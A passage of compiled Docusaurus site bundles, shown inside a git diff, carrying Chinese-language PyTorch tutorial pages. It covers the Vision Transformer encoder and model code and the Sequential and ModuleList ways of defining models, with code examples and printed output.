N\\left(x_i\\right)=\\alpha \\times \\frac{x_i-u_L}{\\sqrt{\\sigma_L^2+\\epsilon}}+\\beta$$\n\u53ef\u4ee5\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"nn.LayerNorm"})," \u8fdb\u884c\u5b9e\u73b0\u3002"]}),"\n",(0,i.jsx)(n.h3,{id:"transformer-encoder-\u5b8c\u6574\u4ee3\u7801",children:"Transformer Encoder \u5b8c\u6574\u4ee3\u7801"}),"\n",(0,i.jsx)(n.p,{children:"\u6574\u5408\u4e0a\u9762 Multi-head Attention\u3001MLP\u3001Norm (Layer Norm,LN) \u5e76\u5916\u52a0 shortcut \u8fde\u63a5\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230 Transformer Encoder \u7684\u5b8c\u6574\u4ee3\u7801\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class Block(nn.Module):\n """\n \u6bcf\u4e00\u4e2aEncoder Block\u7684\u6784\u6210\n \u6bcf\u4e2aEncode Block\u7684\u6d41\u7a0b\uff1anorm1 --\x3e Multi-Head Attention --\x3e norm2 --\x3e MLP\n """\n def __init__(self,\n dim, # \u8f93\u5165mlp\u7684\u7ef4\u5ea6\n num_heads, # Multi-Head-Attention\u7684\u5934\u4e2a\u6570\n mlp_ratio=4., # hidden_features / in_features = mlp_ratio\n qkv_bias=False, # q,k,v\u7684\u751f\u6210\u662f\u5426\u4f7f\u7528bias\n qk_scale=None,\n drop_ratio=0., # dropout\u7684\u6bd4\u4f8b\n attn_drop_ratio=0., # \u6ce8\u610f\u529bdropout\u7684\u6bd4\u4f8b\n drop_path_ratio=0.,\n act_layer=nn.GELU, # \u6fc0\u6d3b\u51fd\u6570\u9ed8\u8ba4\u4f7f\u7528GELU\n norm_layer=nn.LayerNorm): # Norm\u9ed8\u8ba4\u4f7f\u7528LayerNorm\n super(Block, self).__init__()\n # \u7b2c\u4e00\u5c42normalization\n self.norm1 = norm_layer(dim)\n # self.attention\u5c42\u7684\u5b9e\u73b0\n self.attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,attn_drop_ratio=attn_drop_ratio, proj_drop_ratio=drop_ratio)\n self.drop_path = DropPath(drop_path_ratio) if drop_path_ratio > 0. else nn.Identity()\n # \u7b2c\u4e8c\u5c42normalization\n self.norm2 = norm_layer(dim)\n mlp_hidden_dim = int(dim * mlp_ratio) # hidden_dim = dim * mlp_ratio\n # mlp\u5b9e\u73b0\n self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop_ratio)\n\n def forward(self, x):\n # \u5b9e\u73b0\u4e86\u4e24\u4e2a\u6b8b\u5dee\u8fde\u63a5\n x = x + self.drop_path(self.attn(self.norm1(x)))\n x = x + self.drop_path(self.mlp(self.norm2(x)))\n return x\n'})}),"\n",(0,i.jsx)(n.h2,{id:"vit-\u5b8c\u6574\u4ee3\u7801",children:"ViT \u5b8c\u6574\u4ee3\u7801"}),"\n",(0,i.jsx)(n.p,{children:"\u5bf9\u8f93\u5165\u56fe\u50cf\uff0c\u8fdb\u884c\u5207\u5206\u548c\u5f71\u5c04\u3001\u52a0\u5165\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f\u3001\u7ecf\u8fc7 Transformer Encoder\u3001\u7136\u540e\u6dfb\u52a0\u4e00\u4e2a\u5206\u7c7b\u5934\u8fdb\u884c\u8f93\u51fa\uff0c\u6211\u4eec\u5c31\u5b8c\u6210\u4e86 ViT \u6240\u6709\u7684\u4ee3\u7801\u3002"}),"\n",(0,i.jsxs)(n.p,{children:["\u5b8c\u6574\u7684 ViT \u4e3b\u8981\u6a21\u5757\u6d41\u7a0b\uff0c\u89c1\u4e0b\u65b9 ",(0,i.jsx)(n.code,{children:"VisionTransformer"}),"\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class VisionTransformer(nn.Module):\n def __init__(self,\n img_size=224,\n patch_size=16,\n in_c=3,\n num_classes=1000,\n embed_dim=768,\n depth=12,\n num_heads=12,\n mlp_ratio=4.0,\n qkv_bias=True,\n qk_scale=None,\n representation_size=None,\n distilled=False,\n drop_ratio=0.,\n attn_drop_ratio=0.,\n drop_path_ratio=0.,\n embed_layer=PatchEmbed,\n norm_layer=None,\n act_layer=None):\n """\n Args:\n img_size (int, tuple): input image size\n patch_size (int, tuple): patch size\n in_c (int): number of input channels\n num_classes (int): number of classes for classification head\n embed_dim (int): embedding dimension\n depth (int): depth of transformer\n num_heads (int): number of attention heads\n mlp_ratio (int): ratio of mlp hidden dim to embedding dim\n qkv_bias (bool): enable bias for qkv if True\n qk_scale (float): override default qk scale of head_dim ** -0.5 if set\n representation_size (Optional[int]): enable and set representation layer (pre-logits) to this value if set\n distilled (bool): model includes a distillation token and head as in DeiT models\n drop_ratio (float): dropout rate\n attn_drop_ratio (float): attention dropout rate\n drop_path_ratio (float): stochastic depth rate\n embed_layer (nn.Module): patch embedding layer\n norm_layer: (nn.Module): normalization layer\n """\n super(VisionTransformer, self).__init__()\n self.num_classes = num_classes\n # \u6bcf\u4e2apatch\u7684\u56fe\u50cf\u7ef4\u5ea6 = embed_dim\n self.num_features = self.embed_dim = embed_dim # num_features for consistency with other models\n # token\u7684\u4e2a\u6570\u4e3a1\n self.num_tokens = 2 if distilled else 1\n # \u8bbe\u7f6e\u6fc0\u6d3b\u51fd\u6570\u548cnorm\u51fd\u6570\n norm_layer = norm_layer or partial(nn.LayerNorm, eps=1e-6)\n act_layer = act_layer or nn.GELU\n # \u5bf9\u5e94\u7684\u5c06\u56fe\u7247\u6253\u6210patch\u7684\u64cd\u4f5c\n self.patch_embed = embed_layer(img_size=img_size, patch_size=patch_size, in_c=in_c, embed_dim=embed_dim)\n num_patches = self.patch_embed.num_patches\n # \u8bbe\u7f6e\u5206\u7c7b\u7684cls_token\n self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))\n # distilled \u662fDeit\u4e2d\u7684 \u8fd9\u91cc\u4e3aNone\n self.dist_token = nn.Parameter(torch.zeros(1, 1, embed_dim)) if distilled else None\n # pos_embedding \u4e3a\u4e00\u4e2a\u53ef\u4ee5\u5b66\u4e60\u7684\u53c2\u6570\n self.pos_embed = nn.Parameter(torch.zeros(1, num_patches + self.num_tokens, embed_dim))\n self.pos_drop = nn.Dropout(p=drop_ratio)\n\n dpr = [x.item() for x in torch.linspace(0, drop_path_ratio, depth)] # stochastic depth decay rule\n # \u4f7f\u7528nn.Sequential\u8fdb\u884c\u6784\u5efa\uff0cViT\u4e2d\u6df1\u5ea6\u4e3a12\n self.blocks = nn.Sequential(*[\n Block(dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,\n drop_ratio=drop_ratio, attn_drop_ratio=attn_drop_ratio, drop_path_ratio=dpr[i],\n norm_layer=norm_layer, act_layer=act_layer)\n for i in range(depth)\n ])\n self.norm = norm_layer(embed_dim)\n\n # Representation layer\n if representation_size and not distilled:\n self.has_logits = True\n self.num_features = representation_size\n self.pre_logits = nn.Sequential(OrderedDict([\n ("fc", nn.Linear(embed_dim, representation_size)),\n ("act", nn.Tanh())\n ]))\n else:\n self.has_logits = False\n self.pre_logits = nn.Identity()\n\n # Classifier head(s)\n self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()\n self.head_dist = None\n if distilled:\n self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity()\n\n # Weight init\n nn.init.trunc_normal_(self.pos_embed, std=0.02)\n if self.dist_token is not None:\n nn.init.trunc_normal_(self.dist_token, std=0.02)\n\n nn.init.trunc_normal_(self.cls_token, std=0.02)\n self.apply(_init_vit_weights)\n\n def forward_features(self, x):\n # [B, C, H, W] -> [B, num_patches, embed_dim]\n x = self.patch_embed(x) # [B, 196, 768]\n # [1, 1, 768] -> [B, 1, 768]\n cls_token = self.cls_token.expand(x.shape[0], -1, -1)\n if self.dist_token is None:\n x = torch.cat((cls_token, x), dim=1) # [B, 197, 768]\n else:\n x = torch.cat((cls_token, self.dist_token.expand(x.shape[0], -1, -1), x), dim=1)\n\n x = self.pos_drop(x + self.pos_embed)\n x = self.blocks(x)\n x = self.norm(x)\n if self.dist_token is None:\n return self.pre_logits(x[:, 0])\n else:\n return x[:, 0], x[:, 1]\n\n def forward(self, x):\n x = self.forward_features(x)\n if self.head_dist is not None:\n x, x_dist = self.head(x[0]), self.head_dist(x[1])\n if self.training and not torch.jit.is_scripting():\n # during inference, return the average of both classifier predictions\n return x, x_dist\n else:\n return (x + x_dist) / 2\n else:\n x = self.head(x)\n return x\n\n\ndef _init_vit_weights(m):\n """\n ViT weight initialization\n :param m: module\n """\n if isinstance(m, nn.Linear):\n nn.init.trunc_normal_(m.weight, std=.01)\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode="fan_out")\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.LayerNorm):\n nn.init.zeros_(m.bias)\n nn.init.ones_(m.weight)\n'})}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"\u53c2\u8003\uff1a"}),"\n",(0,i.jsxs)(n.p,{children:["An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale ",(0,i.jsx)(n.a,{href:"https://arxiv.org/pdf/2010.11929.pdf",children:"https://arxiv.org/pdf/2010.11929.pdf"}),"\nAttention Is All You Need ",(0,i.jsx)(n.a,{href:"https://arxiv.org/abs/1706.03762",children:"https://arxiv.org/abs/1706.03762"})]}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(c,{...e})}):c(e)}},87162:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/vit_cls_pos-26ef4ba5b2c3c795f3a292dc422423be.png"}}]); \ No newline at end of file diff --git a/en/assets/js/a4578e69.02583a1d.js b/en/assets/js/a4578e69.02583a1d.js new file mode 100644 index 0000000..fb9fbe9 --- /dev/null +++ b/en/assets/js/a4578e69.02583a1d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1482],{21798:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>t,default:()=>h,frontMatter:()=>d,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e94\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/"},"next":{"title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"}}');var l=i(74848),s=i(28453);const d={},t="5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md",c={},o=[{value:"5.1.1 \u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e",id:"511-\u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e",level:2},{value:"5.1.2 Sequential",id:"512-sequential",level:2},{value:"5.1.3 ModuleList",id:"513-modulelist",level:2},{value:"5.1.4 ModuleDict",id:"514-moduledict",level:2},{value:"5.1.5 \u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f",id:"515-\u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"51-pytorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0fmd",children:"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"51-pytorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f",children:"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"}),"\n",(0,l.jsx)(n.p,{children:"\u6a21\u578b\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\u626e\u6f14\u7740\u91cd\u8981\u7684\u89d2\u8272\uff0c\u597d\u7684\u6a21\u578b\u6781\u5927\u5730\u4fc3\u8fdb\u4e86\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\u8fdb\u6b65\uff0c\u6bd4\u5982CNN\u7684\u63d0\u51fa\u89e3\u51b3\u4e86\u56fe\u50cf\u3001\u89c6\u9891\u5904\u7406\u4e2d\u7684\u8bf8\u591a\u95ee\u9898\uff0cRNN/LSTM\u6a21\u578b\u89e3\u51b3\u4e86\u5e8f\u5217\u6570\u636e\u5904\u7406\u7684\u95ee\u9898\uff0cGNN\u5728\u56fe\u6a21\u578b\u4e0a\u53d1\u6325\u7740\u91cd\u8981\u7684\u4f5c\u7528\u3002\u5f53\u6211\u4eec\u5728\u5411\u4ed6\u4eba\u4ecb\u7ecd\u4e00\u9879\u6df1\u5ea6\u5b66\u4e60\u5de5\u4f5c\u7684\u65f6\u5019\uff0c\u5bf9\u65b9\u53ef\u80fd\u9996\u5148\u8981\u95ee\u7684\u5c31\u662f\u4f7f\u7528\u4e86\u54ea\u4e9b\u6a21\u578b\u3002\u56e0\u6b64\uff0c\u5728PyTorch\u8fdb\u9636\u64cd\u4f5c\u7684\u7b2c\u4e00\u90e8\u5206\u4e2d\uff0c\u6211\u4eec\u9996\u5148\u6765\u5b66\u4e60PyTorch\u6a21\u578b\u76f8\u5173\u7684\u5185\u5bb9\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u7b2c\u4e00\u90e8\u5206\u8bfe\u7a0b\u7684\u7b2c\u4e09\u7ae0\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u5b66\u4e60\u4e86\u6a21\u578b\u4e2d\u7684\u201c\u5c42\u201c\u662f\u5982\u4f55\u5b9a\u4e49\u7684\uff0c\u4ee5\u53ca\u57fa\u7840\u7684\u6a21\u578b\u662f\u5982\u4f55\u6784\u5efa\u7684\u3002\u8fd9\u91cc\u6211\u4eec\u6765\u66f4\u4e3a\u7cfb\u7edf\u5730\u5b66\u4e60PyTorch\u4e2d\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f\uff0c\u672c\u8282\u7684\u5b66\u4e60\u5c06\u4e3a\u540e\u7eed\u7075\u6d3b\u6784\u5efa\u81ea\u5df1\u7684\u6a21\u578b\u6253\u4e0b\u575a\u5b9e\u7684\u57fa\u7840\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7*\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u719f\u6089PyTorch\u4e2d\u6a21\u578b\u5b9a\u4e49\u7684\u4e09\u79cd\u65b9\u5f0f"}),"\n",(0,l.jsx)(n.li,{children:"\u8bfb\u61c2GitHub\u4e0a\u5343\u5947\u767e\u602a\u7684\u5199\u6cd5"}),"\n",(0,l.jsx)(n.li,{children:"\u81ea\u5df1\u6839\u636e\u9700\u8981\u7075\u6d3b\u9009\u53d6\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"511-\u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e",children:"5.1.1 \u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"Module"})," \u7c7b\u662f ",(0,l.jsx)(n.code,{children:"torch.nn"})," \u6a21\u5757\uf9e9\u63d0\u4f9b\u7684\u4e00\u4e2a\u6a21\u578b\u6784\u9020\u7c7b (",(0,l.jsx)(n.code,{children:"nn.Module"}),")\uff0c\u662f\u6240\u6709\u795e\u7ecf\u2f79\u7f51\u7edc\u6a21\u5757\u7684\u57fa\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u7ee7\u627f\u5b83\u6765\u5b9a\u4e49\u6211\u4eec\u60f3\u8981\u7684\u6a21\u578b\uff1b"]}),"\n",(0,l.jsxs)(n.li,{children:["PyTorch\u6a21\u578b\u5b9a\u4e49\u5e94\u5305\u62ec\u4e24\u4e2a\u4e3b\u8981\u90e8\u5206\uff1a\u5404\u4e2a\u90e8\u5206\u7684\u521d\u59cb\u5316\uff08",(0,l.jsx)(n.code,{children:"__init__"}),"\uff09\uff1b\u6570\u636e\u6d41\u5411\u5b9a\u4e49\uff08",(0,l.jsx)(n.code,{children:"forward"}),"\uff09"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u57fa\u4e8e",(0,l.jsx)(n.code,{children:"nn.Module"}),"\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,l.jsx)(n.code,{children:"Sequential"}),"\uff0c",(0,l.jsx)(n.code,{children:"ModuleList"}),"\u548c",(0,l.jsx)(n.code,{children:"ModuleDict"}),"\u4e09\u79cd\u65b9\u5f0f\u5b9a\u4e49PyTorch\u6a21\u578b\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0b\u9762\u6211\u4eec\u5c31\u6765\u9010\u4e2a\u63a2\u7d22\u8fd9\u4e09\u79cd\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"512-sequential",children:"5.1.2 Sequential"}),"\n",(0,l.jsxs)(n.p,{children:["\u5bf9\u5e94\u6a21\u5757\u4e3a",(0,l.jsx)(n.code,{children:"nn.Sequential()"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5f53\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\u4e3a\u7b80\u5355\uf905\u8054\u5404\u4e2a\u5c42\u7684\u8ba1\u7b97\u65f6\uff0c ",(0,l.jsx)(n.code,{children:"Sequential"})," \u7c7b\u53ef\u4ee5\u901a\u8fc7\uf901\u52a0\u7b80\u5355\u7684\u65b9\u5f0f\u5b9a\u4e49\u6a21\u578b\u3002\u5b83\u53ef\u4ee5\u63a5\u6536\u4e00\u4e2a\u5b50\u6a21\u5757\u7684\u6709\u5e8f\u5b57\u5178(OrderedDict) \u6216\u8005\u4e00\u7cfb\u5217\u5b50\u6a21\u5757\u4f5c\u4e3a\u53c2\u6570\u6765\u9010\u4e00\u6dfb\u52a0 ",(0,l.jsx)(n.code,{children:"Module"})," \u7684\u5b9e\uf9b5\uff0c\u2f7d\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\u5c31\u662f\u5c06\u8fd9\u4e9b\u5b9e\uf9b5\u6309\u6dfb\u52a0\u7684\u987a\u5e8f\u9010\u2f00\u8ba1\u7b97\u3002\u6211\u4eec\u7ed3\u5408",(0,l.jsx)(n.code,{children:"Sequential"}),"\u548c\u5b9a\u4e49\u65b9\u5f0f\u52a0\u4ee5\u7406\u89e3\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"from collections import OrderedDict\nclass MySequential(nn.Module):\n def __init__(self, *args):\n super(MySequential, self).__init__()\n if len(args) == 1 and isinstance(args[0], OrderedDict): # \u5982\u679c\u4f20\u5165\u7684\u662f\u4e00\u4e2aOrderedDict\n for key, module in args[0].items():\n self.add_module(key, module) \n # add_module\u65b9\u6cd5\u4f1a\u5c06module\u6dfb\u52a0\u8fdbself._modules(\u4e00\u4e2aOrderedDict)\n else: # \u4f20\u5165\u7684\u662f\u4e00\u4e9bModule\n for idx, module in enumerate(args):\n self.add_module(str(idx), module)\n def forward(self, input):\n # self._modules\u8fd4\u56de\u4e00\u4e2a OrderedDict\uff0c\u4fdd\u8bc1\u4f1a\u6309\u7167\u6210\u5458\u6dfb\u52a0\u65f6\u7684\u987a\u5e8f\u904d\u5386\u6210\n for module in self._modules.values():\n input = module(input)\n return input\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0b\u9762\u6765\u770b\u4e0b\u5982\u4f55\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u6765\u5b9a\u4e49\u6a21\u578b\u3002\u53ea\u9700\u8981\u5c06\u6a21\u578b\u7684\u5c42\u6309\u5e8f\u6392\u5217\u8d77\u6765\u5373\u53ef\uff0c\u6839\u636e\u5c42\u540d\u7684\u4e0d\u540c\uff0c\u6392\u5217\u7684\u65f6\u5019\u6709\u4e24\u79cd\u65b9\u5f0f\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u76f4\u63a5\u6392\u5217"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"import torch.nn as nn\nnet = nn.Sequential(\n nn.Linear(784, 256),\n nn.ReLU(),\n nn.Linear(256, 10), \n )\nprint(net)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Sequential(\n (0): Linear(in_features=784, out_features=256, bias=True)\n (1): ReLU()\n (2): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u4f7f\u7528OrderedDict\uff1a"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"import collections\nimport torch.nn as nn\nnet2 = nn.Sequential(collections.OrderedDict([\n ('fc1', nn.Linear(784, 256)),\n ('relu1', nn.ReLU()),\n ('fc2', nn.Linear(256, 10))\n ]))\nprint(net2)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Sequential(\n (fc1): Linear(in_features=784, out_features=256, bias=True)\n (relu1): ReLU()\n (fc2): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u5b9a\u4e49\u6a21\u578b\u7684\u597d\u5904\u5728\u4e8e\u7b80\u5355\u3001\u6613\u8bfb\uff0c\u540c\u65f6\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u5b9a\u4e49\u7684\u6a21\u578b\u4e0d\u9700\u8981\u518d\u5199",(0,l.jsx)(n.code,{children:"forward"}),"\uff0c\u56e0\u4e3a\u987a\u5e8f\u5df2\u7ecf\u5b9a\u4e49\u597d\u4e86\u3002\u4f46\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u4e5f\u4f1a\u4f7f\u5f97\u6a21\u578b\u5b9a\u4e49\u4e27\u5931\u7075\u6d3b\u6027\uff0c\u6bd4\u5982\u9700\u8981\u5728\u6a21\u578b\u4e2d\u95f4\u52a0\u5165\u4e00\u4e2a\u5916\u90e8\u8f93\u5165\u65f6\u5c31\u4e0d\u9002\u5408\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u7684\u65b9\u5f0f\u5b9e\u73b0\u3002\u4f7f\u7528\u65f6\u9700\u6839\u636e\u5b9e\u9645\u9700\u6c42\u52a0\u4ee5\u9009\u62e9\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"513-modulelist",children:"5.1.3 ModuleList"}),"\n",(0,l.jsxs)(n.p,{children:["\u5bf9\u5e94\u6a21\u5757\u4e3a",(0,l.jsx)(n.code,{children:"nn.ModuleList()"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"ModuleList"})," \u63a5\u6536\u4e00\u4e2a\u5b50\u6a21\u5757\uff08\u6216\u5c42\uff0c\u9700\u5c5e\u4e8e",(0,l.jsx)(n.code,{children:"nn.Module"}),"\u7c7b\uff09\u7684\uf99c\u8868\u4f5c\u4e3a\u8f93\u5165\uff0c\u7136\u540e\u4e5f\u53ef\u4ee5\u7c7b\u4f3c",(0,l.jsx)(n.code,{children:"List"}),"\u90a3\u6837\u8fdb\u884cappend\u548cextend\u64cd\u4f5c\u3002\u540c\u65f6\uff0c\u5b50\u6a21\u5757\u6216\u5c42\u7684\u6743\u91cd\u4e5f\u4f1a\u81ea\u52a8\u6dfb\u52a0\u5230\u7f51\u7edc\u4e2d\u6765\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"net = nn.ModuleList([nn.Linear(784, 256), nn.ReLU()])\nnet.append(nn.Linear(256, 10)) # # \u7c7b\u4f3cList\u7684append\u64cd\u4f5c\nprint(net[-1]) # \u7c7b\u4f3cList\u7684\u7d22\u5f15\u8bbf\u95ee\nprint(net)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Linear(in_features=256, out_features=10, bias=True)\nModuleList(\n (0): Linear(in_features=784, out_features=256, bias=True)\n (1): ReLU()\n (2): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f\uff0c",(0,l.jsx)(n.code,{children:"nn.ModuleList"})," 